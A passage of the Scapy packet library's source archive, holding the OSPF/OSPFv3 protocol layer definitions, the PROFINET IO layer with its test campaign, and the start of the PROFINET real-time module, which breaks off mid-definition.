from scapy.fields import * from scapy.layers.inet import * from scapy.layers.inet6 import * EXT_VERSION = "v0.9.2" class OSPFOptionsField(FlagsField): def __init__(self, name="options", default=0, size=8, names=None): FlagsField.__init__(self, name, default, size, names) if names is None: names = ["MT", "E", "MC", "NP", "L", "DC", "O", "DN"] _OSPF_types = {1: "Hello", 2: "DBDesc", 3: "LSReq", 4: "LSUpd", 5: "LSAck"} class OSPF_Hdr(Packet): name = "OSPF Header" fields_desc = [ ByteField("version", 2), ByteEnumField("type", 1, _OSPF_types), ShortField("len", None), IPField("src", "1.1.1.1"), IPField("area", "0.0.0.0"), # default: backbone XShortField("chksum", None), ShortEnumField("authtype", 0, {0:"Null", 1:"Simple", 2:"Crypto"}), # Null or Simple Authentication ConditionalField(XLongField("authdata", 0), lambda pkt:pkt.authtype != 2), # Crypto Authentication ConditionalField(XShortField("reserved", 0), lambda pkt:pkt.authtype == 2), ConditionalField(ByteField("keyid", 1), lambda pkt:pkt.authtype == 2), ConditionalField(ByteField("authdatalen", 0), lambda pkt:pkt.authtype == 2), ConditionalField(XIntField("seq", 0), lambda pkt:pkt.authtype == 2), # TODO: Support authdata (which is appended to the packets as if it were padding) ] def post_build(self, p, pay): # TODO: Remove LLS data from pay # LLS data blocks may be attached to OSPF Hello and DD packets # The length of the LLS block shall not be included into the length of OSPF packet # See p += pay l = self.len if l is None: l = len(p) p = p[:2] + struct.pack("!H", l) + p[4:] if self.chksum is None: if self.authtype == 2: ck = 0 # Crypto, see RFC 2328, D.4.3 else: # Checksum is calculated without authentication data # Algorithm is the same as in IP() ck = checksum(p[:16] + p[24:]) p = p[:12] + chr(ck >> 8) + chr(ck & 0xff) + p[14:] # TODO: Handle Crypto: Add message digest (RFC 2328, D.4.3) return p def hashret(self): return struct.pack("H", self.area) + self.payload.hashret() def answers(self, other): if (isinstance(other, OSPF_Hdr) and self.area == other.area and self.type == 5): # Only acknowledgements answer other packets return self.payload.answers(other.payload) return 0 class OSPF_Hello(Packet): name = "OSPF Hello" fields_desc = [IPField("mask", "255.255.255.0"), ShortField("hellointerval", 10), OSPFOptionsField(), ByteField("prio", 1), IntField("deadinterval", 40), IPField("router", "0.0.0.0"), IPField("backup", "0.0.0.0"), FieldListField("neighbors", [], IPField("", "0.0.0.0"), length_from=lambda pkt: (pkt.underlayer.len - 44))] def guess_payload_class(self, payload): # check presence of LLS data block flag if self.options & 0x10 == 0x10: return OSPF_LLS_Hdr else: return Packet.guess_payload_class(self, payload) class LLS_Generic_TLV(Packet): name = "LLS Generic" fields_desc = [ShortField("type", 1), FieldLenField("len", None, length_of=lambda x: x.val), StrLenField("val", "", length_from=lambda x: x.len)] def guess_payload_class(self, p): return conf.padding_layer class LLS_ExtendedOptionsField(FlagsField): def __init__(self, name="options", default=0, size=32, names=None): FlagsField.__init__(self, name, default, size, names) if names is None: names = ["LR", "RS"] class LLS_Extended_Options(LLS_Generic_TLV): name = "LLS Extended Options and Flags" fields_desc = [ShortField("type", 1), ShortField("len", 4), LLS_ExtendedOptionsField()] class LLS_Crypto_Auth(LLS_Generic_TLV): name = "LLS Cryptographic Authentication" fields_desc = [ShortField("type", 2), FieldLenField("len", 20, fmt="B", length_of=lambda x: x.authdata), XIntField("sequence", "\x00\x00\x00\x00"), StrLenField("authdata", "\x00" * 16, length_from=lambda x: x.len)] def post_build(self, p, pay): p += pay l = self.len if l is None: # length = len(sequence) + len(authdata) + len(payload) l = len(p[3:]) p = p[:2] + struct.pack("!H", l) + p[3:] return p _OSPF_LLSclasses = {1: "LLS_Extended_Options", 2: "LLS_Crypto_Auth"} def _LLSGuessPayloadClass(p, **kargs): """ Guess the correct LLS class for a given payload """ cls = conf.raw_layer if len(p) >= 4: typ = struct.unpack("!H", p[0:2])[0] clsname = _OSPF_LLSclasses.get(typ, "LLS_Generic_TLV") cls = globals()[clsname] return cls(p, **kargs) class OSPF_LLS_Hdr(Packet): name = "OSPF Link-local signaling" fields_desc = [XShortField("chksum", None), # FIXME Length should be displayed in 32-bit words ShortField("len", None), PacketListField("llstlv", [], _LLSGuessPayloadClass)] def post_build(self, p, pay): p += pay l = self.len if l is None: # Length in 32-bit words l = len(p) / 4 p = p[:2] + struct.pack("!H", l) + p[4:] if self.chksum is None: c = checksum(p) p = chr((c >> 8) & 0xff) + chr(c & 0xff) + p[2:] return p _OSPF_LStypes = {1: "router", 2: "network", 3: "summaryIP", 4: "summaryASBR", 5: "external", 7: "NSSAexternal"} _OSPF_LSclasses = {1: "OSPF_Router_LSA", 2: "OSPF_Network_LSA", 3: "OSPF_SummaryIP_LSA", 4: "OSPF_SummaryASBR_LSA", 5: "OSPF_External_LSA", 7: "OSPF_NSSA_External_LSA"} def ospf_lsa_checksum(lsa): return fletcher16_checkbytes("\x00\x00" + lsa[2:], 16) # leave out age class OSPF_LSA_Hdr(Packet): name = "OSPF LSA Header" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteEnumField("type", 1, _OSPF_LStypes), IPField("id", "192.168.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", 0), ShortField("len", 36)] def extract_padding(self, s): return "", s _OSPF_Router_LSA_types = {1: "p2p", 2: "transit", 3: "stub", 4: "virtual"} class OSPF_Link(Packet): name = "OSPF Link" fields_desc = [IPField("id", "192.168.0.0"), IPField("data", "255.255.255.0"), ByteEnumField("type", 3, _OSPF_Router_LSA_types), ByteField("toscount", 0), ShortField("metric", 10), # TODO: define correct conditions ConditionalField(ByteField("tos", 0), lambda pkt: False), ConditionalField(ByteField("reserved", 0), lambda pkt: False), ConditionalField(ShortField("tosmetric", 0), lambda pkt: False)] def extract_padding(self, s): return "", s def _LSAGuessPayloadClass(p, **kargs): """ Guess the correct LSA class for a given payload """ # This is heavily based on scapy-cdp.py by Nicolas Bareil and Arnaud Ebalard # XXX: This only works if all payload cls = conf.raw_layer if len(p) >= 4: typ = struct.unpack("!B", p[3])[0] clsname = _OSPF_LSclasses.get(typ, "Raw") cls = globals()[clsname] return cls(p, **kargs) class OSPF_BaseLSA(Packet): """ An abstract base class for Link State Advertisements """ def post_build(self, p, pay): length = self.len if length is None: length = len(p) p = p[:18] + struct.pack("!H", length) + p[20:] if self.chksum is None: chksum = ospf_lsa_checksum(p) p = p[:16] + chksum + p[18:] return p # p+pay? def extract_padding(self, s): length = self.len return "", s class OSPF_Router_LSA(OSPF_BaseLSA): name = "OSPF Router LSA" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 1), IPField("id", "1.1.1.1"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), FlagsField("flags", 0, 8, ["B", "E", "V", "W", "Nt"]), ByteField("reserved", 0), FieldLenField("linkcount", None, count_of="linklist"), PacketListField("linklist", [], OSPF_Link, count_from=lambda pkt: pkt.linkcount, length_from=lambda pkt: pkt.linkcount * 12)] class OSPF_Network_LSA(OSPF_BaseLSA): name = "OSPF Network LSA" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 2), IPField("id", "192.168.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), IPField("mask", "255.255.255.0"), FieldListField("routerlist", [], IPField("", "1.1.1.1"), length_from=lambda pkt: pkt.len - 24)] class OSPF_SummaryIP_LSA(OSPF_BaseLSA): name = "OSPF Summary LSA (IP Network)" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 3), IPField("id", "192.168.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), IPField("mask", "255.255.255.0"), ByteField("reserved", 0), X3BytesField("metric", 10), # TODO: Define correct conditions ConditionalField(ByteField("tos", 0), lambda pkt:False), ConditionalField(X3BytesField("tosmetric", 0), lambda pkt:False)] class OSPF_SummaryASBR_LSA(OSPF_SummaryIP_LSA): name = "OSPF Summary LSA (AS Boundary Router)" type = 4 id = "2.2.2.2" mask = "0.0.0.0" metric = 20 class OSPF_External_LSA(OSPF_BaseLSA): name = "OSPF External LSA (ASBR)" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 5), IPField("id", "192.168.0.0"), IPField("adrouter", "2.2.2.2"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), IPField("mask", "255.255.255.0"), FlagsField("ebit", 0, 1, ["E"]), BitField("reserved", 0, 7), X3BytesField("metric", 20), IPField("fwdaddr", "0.0.0.0"), XIntField("tag", 0), # TODO: Define correct conditions ConditionalField(ByteField("tos", 0), lambda pkt:False), ConditionalField(X3BytesField("tosmetric", 0), lambda pkt:False)] class OSPF_NSSA_External_LSA(OSPF_External_LSA): name = "OSPF NSSA External LSA" type = 7 class OSPF_DBDesc(Packet): name = "OSPF Database Description" fields_desc = [ShortField("mtu", 1500), OSPFOptionsField(), FlagsField("dbdescr", 0, 8, ["MS", "M", "I", "R", "4", "3", "2", "1"]), IntField("ddseq", 1), PacketListField("lsaheaders", None, OSPF_LSA_Hdr, count_from = lambda pkt: None, length_from = lambda pkt: pkt.underlayer.len - 24 - 8)] def guess_payload_class(self, payload): # check presence of LLS data block flag if self.options & 0x10 == 0x10: return OSPF_LLS_Hdr else: return Packet.guess_payload_class(self, payload) class OSPF_LSReq_Item(Packet): name = "OSPF Link State Request (item)" fields_desc = [IntEnumField("type", 1, _OSPF_LStypes), IPField("id", "1.1.1.1"), IPField("adrouter", "1.1.1.1")] def extract_padding(self, s): return "", s class OSPF_LSReq(Packet): name = "OSPF Link State Request (container)" fields_desc = [PacketListField("requests", None, OSPF_LSReq_Item, count_from = lambda pkt:None, length_from = lambda pkt:pkt.underlayer.len - 24)] class OSPF_LSUpd(Packet): name = "OSPF Link State Update" fields_desc = [FieldLenField("lsacount", None, fmt="!I", count_of="lsalist"), PacketListField("lsalist", [], _LSAGuessPayloadClass, count_from = lambda pkt: pkt.lsacount, length_from = lambda pkt: pkt.underlayer.len - 24)] class OSPF_LSAck(Packet): name = "OSPF Link State Acknowledgement" fields_desc = [PacketListField("lsaheaders", None, OSPF_LSA_Hdr, count_from = lambda pkt: None, length_from = lambda pkt: pkt.underlayer.len - 24)] def answers(self, other): if isinstance(other, OSPF_LSUpd): for reqLSA in other.lsalist: for ackLSA in self.lsaheaders: if (reqLSA.type == ackLSA.type and reqLSA.seq == ackLSA.seq): return 1 return 0 #------------------------------------------------------------------------------ # OSPFv3 #------------------------------------------------------------------------------ class OSPFv3_Hdr(Packet): name = "OSPFv3 Header" fields_desc = [ByteField("version", 3), ByteEnumField("type", 1, _OSPF_types), ShortField("len", None), IPField("src", "1.1.1.1"), IPField("area", "0.0.0.0"), XShortField("chksum", None), ByteField("instance", 0), ByteField("reserved", 0)] def post_build(self, p, pay): p += pay l = self.len if l is None: l = len(p) p = p[:2] + struct.pack("!H", l) + p[4:] if self.chksum is None: chksum = in6_chksum(89, self.underlayer, p) p = p[:12] + chr(chksum >> 8) + chr(chksum & 0xff) + p[14:] return p class OSPFv3OptionsField(FlagsField): def __init__(self, name="options", default=0, size=24, names=None): FlagsField.__init__(self, name, default, size, names) if names is None: names = ["V6", "E", "MC", "N", "R", "DC", "AF", "L", "I", "F"] class OSPFv3_Hello(Packet): name = "OSPFv3 Hello" fields_desc = [IntField("intid", 0), ByteField("prio", 1), OSPFv3OptionsField(), ShortField("hellointerval", 10), ShortField("deadinterval", 40), IPField("router", "0.0.0.0"), IPField("backup", "0.0.0.0"), FieldListField("neighbors", [], IPField("", "0.0.0.0"), length_from=lambda pkt: (pkt.underlayer.len - 36))] _OSPFv3_LStypes = {0x2001: "router", 0x2002: "network", 0x2003: "interAreaPrefix", 0x2004: "interAreaRouter", 0x4005: "asExternal", 0x2007: "type7", 0x0008: "link", 0x2009: "intraAreaPrefix"} _OSPFv3_LSclasses = {0x2001: "OSPFv3_Router_LSA", 0x2002: "OSPFv3_Network_LSA", 0x2003: "OSPFv3_Inter_Area_Prefix_LSA", 0x2004: "OSPFv3_Inter_Area_Router_LSA", 0x4005: "OSPFv3_AS_External_LSA", 0x2007: "OSPFv3_Type_7_LSA", 0x0008: "OSPFv3_Link_LSA", 0x2009: "OSPFv3_Intra_Area_Prefix_LSA"} class OSPFv3_LSA_Hdr(Packet): name = "OSPFv3 LSA Header" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2001, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", 0), ShortField("len", 36)] def extract_padding(self, s): return "", s def _OSPFv3_LSAGuessPayloadClass(p, **kargs): """ Guess the correct OSPFv3 LSA class for a given payload """ cls = conf.raw_layer if len(p) >= 6: typ = struct.unpack("!H", p[2:4])[0] clsname = _OSPFv3_LSclasses.get(typ, "Raw") cls = globals()[clsname] return cls(p, **kargs) _OSPFv3_Router_LSA_types = {1: "p2p", 2: "transit", 3: "reserved", 4: "virtual"} class OSPFv3_Link(Packet): name = "OSPFv3 Link" fields_desc = [ByteEnumField("type", 1, _OSPFv3_Router_LSA_types), ByteField("reserved", 0), ShortField("metric", 10), IntField("intid", 0), IntField("neighintid", 0), IPField("neighbor", "2.2.2.2")] def extract_padding(self, s): return "", s class OSPFv3_Router_LSA(OSPF_BaseLSA): name = "OSPFv3 Router LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2001, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), FlagsField("flags", 0, 8, ["B", "E", "V", "W"]), OSPFv3OptionsField(), PacketListField("linklist", [], OSPFv3_Link, length_from=lambda pkt:pkt.len - 24)] class OSPFv3_Network_LSA(OSPF_BaseLSA): name = "OSPFv3 Network LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2002, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ByteField("reserved", 0), OSPFv3OptionsField(), FieldListField("routerlist", [], IPField("", "0.0.0.1"), length_from=lambda pkt: pkt.len - 24)] class OSPFv3PrefixOptionsField(FlagsField): def __init__(self, name="prefixoptions", default=0, size=8, names=None): FlagsField.__init__(self, name, default, size, names) if names is None: names = ["NU", "LA", "MC", "P"] class OSPFv3_Inter_Area_Prefix_LSA(OSPF_BaseLSA): name = "OSPFv3 Inter Area Prefix LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2003, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ByteField("reserved", 0), X3BytesField("metric", 10), FieldLenField("prefixlen", None, length_of="prefix", fmt="B"), OSPFv3PrefixOptionsField(), ShortField("reserved2", 0), IP6PrefixField("prefix", "2001:db8:0:42::/64", wordbytes=4, length_from=lambda pkt: pkt.prefixlen)] class OSPFv3_Inter_Area_Router_LSA(OSPF_BaseLSA): name = "OSPFv3 Inter Area Router LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2004, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ByteField("reserved", 0), OSPFv3OptionsField(), ByteField("reserved2", 0), X3BytesField("metric", 1), IPField("router", "2.2.2.2")] class OSPFv3_AS_External_LSA(OSPF_BaseLSA): name = "OSPFv3 AS External LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x4005, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), FlagsField("flags", 0, 8, ["T", "F", "E"]), X3BytesField("metric", 20), FieldLenField("prefixlen", None, length_of="prefix", fmt="B"), OSPFv3PrefixOptionsField(), ShortEnumField("reflstype", 0, _OSPFv3_LStypes), IP6PrefixField("prefix", "2001:db8:0:42::/64", wordbytes=4, length_from=lambda pkt: pkt.prefixlen), ConditionalField(IP6Field("fwaddr", "::"), lambda pkt: pkt.flags & 0x02 == 0x02), ConditionalField(IntField("tag", 0), lambda pkt: pkt.flags & 0x01 == 0x01), ConditionalField(IPField("reflsid", 0), lambda pkt: pkt.reflstype != 0)] class OSPFv3_Type_7_LSA(OSPFv3_AS_External_LSA): name = "OSPFv3 Type 7 LSA" type = 0x2007 class OSPFv3_Prefix_Item(Packet): name = "OSPFv3 Link Prefix Item" fields_desc = [FieldLenField("prefixlen", None, length_of="prefix", fmt="B"), OSPFv3PrefixOptionsField(), ShortField("metric", 10), IP6PrefixField("prefix", "2001:db8:0:42::/64", wordbytes=4, length_from=lambda pkt: pkt.prefixlen)] def extract_padding(self, s): return "", s class OSPFv3_Link_LSA(OSPF_BaseLSA): name = "OSPFv3 Link LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x0008, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ByteField("prio", 1), OSPFv3OptionsField(), IP6Field("lladdr", "fe80::"), FieldLenField("prefixes", None, count_of="prefixlist", fmt="I"), PacketListField("prefixlist", None, OSPFv3_Prefix_Item, count_from = lambda pkt: pkt.prefixes)] class OSPFv3_Intra_Area_Prefix_LSA(OSPF_BaseLSA): name = "OSPFv3 Intra Area Prefix LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2009, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), FieldLenField("prefixes", None, count_of="prefixlist", fmt="H"), ShortEnumField("reflstype", 0, _OSPFv3_LStypes), IPField("reflsid", "0.0.0.0"), IPField("refadrouter", "0.0.0.0"), PacketListField("prefixlist", None, OSPFv3_Prefix_Item, count_from = lambda pkt: pkt.prefixes)] class OSPFv3_DBDesc(Packet): name = "OSPFv3 Database Description" fields_desc = [ByteField("reserved", 0), OSPFv3OptionsField(), ShortField("mtu", 1500), ByteField("reserved2", 0), FlagsField("dbdescr", 0, 8, ["MS", "M", "I", "R"]), IntField("ddseq", 1), PacketListField("lsaheaders", None, OSPFv3_LSA_Hdr, count_from = lambda pkt:None, length_from = lambda pkt:pkt.underlayer.len - 28)] class OSPFv3_LSReq_Item(Packet): name = "OSPFv3 Link State Request (item)" fields_desc = [ShortField("reserved", 0), ShortEnumField("type", 0x2001, _OSPFv3_LStypes), IPField("id", "1.1.1.1"), IPField("adrouter", "1.1.1.1")] def extract_padding(self, s): return "", s class OSPFv3_LSReq(Packet): name = "OSPFv3 Link State Request (container)" fields_desc = [PacketListField("requests", None, OSPFv3_LSReq_Item, count_from = lambda pkt:None, length_from = lambda pkt:pkt.underlayer.len - 16)] class OSPFv3_LSUpd(Packet): name = "OSPFv3 Link State Update" fields_desc = [FieldLenField("lsacount", None, fmt="!I", count_of="lsalist"), PacketListField("lsalist", [], _OSPFv3_LSAGuessPayloadClass, count_from = lambda pkt:pkt.lsacount, length_from = lambda pkt:pkt.underlayer.len - 16)] class OSPFv3_LSAck(Packet): name = "OSPFv3 Link State Acknowledgement" fields_desc = [PacketListField("lsaheaders", None, OSPFv3_LSA_Hdr, count_from = lambda pkt:None, length_from = lambda pkt:pkt.underlayer.len - 16)] bind_layers(IP, OSPF_Hdr, proto=89) bind_layers(OSPF_Hdr, OSPF_Hello, type=1) bind_layers(OSPF_Hdr, OSPF_DBDesc, type=2) bind_layers(OSPF_Hdr, OSPF_LSReq, type=3) bind_layers(OSPF_Hdr, OSPF_LSUpd, type=4) bind_layers(OSPF_Hdr, OSPF_LSAck, type=5) DestIPField.bind_addr(OSPF_Hdr, "224.0.0.5") bind_layers(IPv6, OSPFv3_Hdr, nh=89) bind_layers(OSPFv3_Hdr, OSPFv3_Hello, type=1) bind_layers(OSPFv3_Hdr, OSPFv3_DBDesc, type=2) bind_layers(OSPFv3_Hdr, OSPFv3_LSReq, type=3) bind_layers(OSPFv3_Hdr, OSPFv3_LSUpd, type=4) bind_layers(OSPFv3_Hdr, OSPFv3_LSAck, type=5) DestIP6Field.bind_addr(OSPFv3_Hdr, "ff02::5") if __name__ == "__main__": from scapy.main import interact interact(mydict=globals(), mybanner="OSPF extension %s" % EXT_VERSION) scapy-2.3.3/scapy/contrib/pnio.py000066400000000000000000000046731300136037300167420ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # Copyright (C) 2016 Gauthier Sebaux # scapy.contrib.description = ProfinetIO base layer # scapy.contrib.status = loads """ A simple and non exhaustive Profinet IO layer for scapy """ # Scapy imports from scapy.all import Packet, bind_layers, Ether, UDP from scapy.fields import XShortEnumField # Some constants PNIO_FRAME_IDS = { 0x0020:"PTCP-RTSyncPDU-followup", 0x0080:"PTCP-RTSyncPDU", 0xFC01:"Alarm High", 0xFE01:"Alarm Low", 0xFEFC:"DCP-Hello-Req", 0xFEFD:"DCP-Get-Set", 0xFEFE:"DCP-Identify-ReqPDU", 0xFEFF:"DCP-Identify-ResPDU", 0xFF00:"PTCP-AnnouncePDU", 0xFF20:"PTCP-FollowUpPDU", 0xFF40:"PTCP-DelayReqPDU", 0xFF41:"PTCP-DelayResPDU-followup", 0xFF42:"PTCP-DelayFuResPDU", 0xFF43:"PTCP-DelayResPDU", } for i in xrange(0x0100, 0x1000): PNIO_FRAME_IDS[i] = "RT_CLASS_3" for i in xrange(0x8000, 0xC000): PNIO_FRAME_IDS[i] = "RT_CLASS_1" for i in xrange(0xC000, 0xFC00): PNIO_FRAME_IDS[i] = "RT_CLASS_UDP" for i in xrange(0xFF80, 0xFF90): PNIO_FRAME_IDS[i] = "FragmentationFrameID" ################# ## PROFINET IO ## ################# class ProfinetIO(Packet): """Basic PROFINET IO dispatcher""" fields_desc = [XShortEnumField("frameID", 0, PNIO_FRAME_IDS)] overload_fields = { Ether: {"type": 0x8892}, UDP: {"dport": 0x8892}, } def guess_payload_class(self, payload): # For frameID in the RT_CLASS_* range, use the RTC packet as payload if (self.frameID >= 0x0100 and self.frameID < 0x1000) or \ (self.frameID >= 0x8000 and self.frameID < 0xFC00): from scapy.contrib.pnio_rtc import PNIORealTime return PNIORealTime else: return Packet.guess_payload_class(self, payload) bind_layers(Ether, ProfinetIO, type=0x8892) bind_layers(UDP, ProfinetIO, dport=0x8892) scapy-2.3.3/scapy/contrib/pnio.uts000066400000000000000000000015041300136037300171130ustar00rootroot00000000000000% ProfinetIO layer test campaign + Syntax check = Import the ProfinetIO layer from scapy.contrib.pnio import * + Check DCE/RPC layer = ProfinetIO default values str(ProfinetIO()) == '\x00\x00' = ProfinetIO overloads Ethertype p = Ether() / ProfinetIO() p.type == 0x8892 = ProfinetIO overloads UDP dport p = UDP() / ProfinetIO() p.dport == 0x8892 = Ether guesses ProfinetIO as payload class p = Ether('ffffffffffff00000000000088920102'.decode('hex')) p.payload.__class__ == ProfinetIO and p.frameID == 0x0102 = UDP guesses ProfinetIO as payload class p = UDP('12348892000a00000102'.decode('hex')) p.payload.__class__ == ProfinetIO and p.frameID == 0x0102 = ProfinetIO guess payload to PNIORealTime p = UDP('12348892000c000080020102'.decode('hex')) p.payload.payload.__class__.__name__ == 'PNIORealTime' and p.frameID == 0x8002 scapy-2.3.3/scapy/contrib/pnio_rtc.py000066400000000000000000000412531300136037300176050ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # Copyright (C) 2016 Gauthier Sebaux # scapy.contrib.description = ProfinetIO Real-Time Cyclic (RTC) # scapy.contrib.status = loads """ PROFINET IO layers for scapy which correspond to Real-Time Cyclic data """ # external imports import math import struct # Scapy imports from scapy.all import Packet, bind_layers, Ether, UDP, Field, conf from scapy.fields import BitEnumField, BitField, ByteField,\ FlagsField,\ PacketListField,\ ShortField, StrFixedLenField,\ XBitField, XByteField # local imports from scapy.contrib.pnio import ProfinetIO ##################################### ## PROFINET Real-Time Data Packets ## ##################################### class PNIORealTimeIOxS(Packet): """IOCS and IOPS packets for PROFINET Real-Time payload""" name = "PNIO RTC IOxS" fields_desc = [ BitEnumField("dataState", 1, 1, ["bad", "good"]), BitEnumField("instance", 0, 2, ["subslot", "slot", "device", "controller"]), XBitField("reserved", 0, 4), BitField("extension", 0, 1), ] def extract_padding(self, s): return None, s # No extra payload class PNIORealTimeRawData(Packet): """Raw data packets for PROFINET Real-Time payload. It's a configurable packet whose config only includes a fix length. The config parameter must then be a dict {"length": X}. PROFINET IO specification impose this packet to be followed with an IOPS (PNIORealTimeIOxS)""" __slots__ = ["_config"] name = "PNIO RTC Raw data" fields_desc = [ StrFixedLenField("load", "", length_from=lambda p: p[PNIORealTimeRawData].length()), ] def __init__(self, _pkt="", post_transform=None, _internal=0, _underlayer=None, config=None, **fields): """ length=None means that the length must be managed by the user. If it's defined, the field will always be length-long (padded with "\\x00" if needed) """ self._config = config Packet.__init__(self, _pkt=_pkt, post_transform=post_transform, _internal=_internal, _underlayer=_underlayer, **fields) def copy(self): pkt = Packet.copy(self) pkt._config = self._config return pkt def clone_with(self, *args, **kargs): pkt = Packet.clone_with(self, *args, **kargs) pkt._config = self._config return pkt def length(self): """Get the length of the raw data""" # Manage the length of the packet if a length is provided return self._config["length"] # Make sure an IOPS follows a data bind_layers(PNIORealTimeRawData, PNIORealTimeIOxS) ############################### ## PROFINET Real-Time Fields ## ############################### class LowerLayerBoundPacketListField(PacketListField): """PacketList which binds each underlayer of packets to the current pkt""" def m2i(self, pkt, m): return self.cls(m, _underlayer=pkt) class NotionalLenField(Field): """A len fields which isn't present in the machine representation, but is computed from a given lambda""" __slots__ = ["length_from", "count_from"] def __init__(self, name, default, length_from=None, count_from=None): Field.__init__(self, name, default) self.length_from = length_from self.count_from = count_from def addfield(self, pkt, s, val): return s # Isn't present in the machine packet def getfield(self, pkt, s): val = None if self.length_from is not None: val = self.length_from(pkt, s) elif self.count_from is not None: val = self.count_from(pkt, s) return s, val ############################### ## PNIORealTime Configuration # ############################### # conf.contribs["PNIO_RTC"] is a dict which contains data layout for each Ethernet # communications. It must be formatted as such: # {(Ether.src, Ether.dst): [(start, type, config), ...]} # start: index of a data field from the END of the data buffer (-1, -2, ...) # type: class to be instanciated to represent these data # config: a config dict, given to the type class constructor conf.contribs["PNIO_RTC"] = {} def _get_ethernet(pkt): """Find the Ethernet packet of underlayer or None""" ether = pkt while ether is not None and not isinstance(ether, Ether): ether = ether.underlayer return ether def pnio_update_config(config): """Update the PNIO RTC config""" conf.contribs["PNIO_RTC"].update(config) def pnio_get_config(pkt): """Retrieve the config for a given communication""" # get the config based on the tuple (Ether.src, Ether.dst) ether = _get_ethernet(pkt) config = None if ether is not None and (ether.src, ether.dst) in conf.contribs["PNIO_RTC"]: config = conf.contribs["PNIO_RTC"][(ether.src, ether.dst)] return config ############################### ## PROFINET Real-Time Packet ## ############################### def _pnio_rtc_guess_payload_class(_pkt, _underlayer=None, *args, **kargs): """A dispatcher for the packet list field which manage the configuration to fin dthe appropriate class""" config = pnio_get_config(_underlayer) if isinstance(config, list): # If we have a valid config, it's a list which describe each data # packets the rest being IOCS cur_index = -len(_pkt) for index, cls, params in config: if cur_index == index: return cls(_pkt, config=params, *args, **kargs) # Not a data => IOCS packet return PNIORealTimeIOxS(_pkt, *args, **kargs) else: # No config => Raw data which dissect the whole _pkt return PNIORealTimeRawData(_pkt, config={"length": len(_pkt)}, *args, **kargs ) _PNIO_DS_FLAGS = [ "primary", "redundancy", "validData", "reserved_1", "run", "no_problem", "reserved_2", "ignore", ] class PNIORealTime(Packet): """PROFINET cyclic real-time""" name = "PROFINET Real-Time" fields_desc = [ NotionalLenField("len", None, length_from=lambda p, s: len(s)), NotionalLenField("dataLen", None, length_from=lambda p, s: len(s[:-4].rstrip("\0"))), LowerLayerBoundPacketListField("data", [], _pnio_rtc_guess_payload_class, length_from=lambda p: p.dataLen), StrFixedLenField("padding", "", length_from=lambda p: p[PNIORealTime].padding_length()), ShortField("cycleCounter", 0), FlagsField("dataStatus", 0x35, 8, _PNIO_DS_FLAGS), ByteField("transferStatus", 0) ] overload_fields = { ProfinetIO: {"frameID": 0x8000}, # RT_CLASS_1 } def padding_length(self): """Compute the length of the padding need for the ethernet frame""" fld, val = self.getfield_and_val("data") # use the len field if available to define the padding length, eg for # dissected packets pkt_len = self.getfieldval("len") if pkt_len is not None: return max(0, pkt_len - len(fld.addfield(self, "", val)) - 4) if isinstance(self.underlayer, ProfinetIO) and \ isinstance(self.underlayer.underlayer, UDP): return max(0, 12 - len(fld.addfield(self, "", val))) else: return max(0, 40 - len(fld.addfield(self, "", val))) @staticmethod def analyse_data(packets): """Analyse the data to find heuristical properties and determine location and type of data""" loc = PNIORealTime.find_data(packets) loc = PNIORealTime.analyse_profisafe(packets, loc) pnio_update_config(loc) return loc @staticmethod def 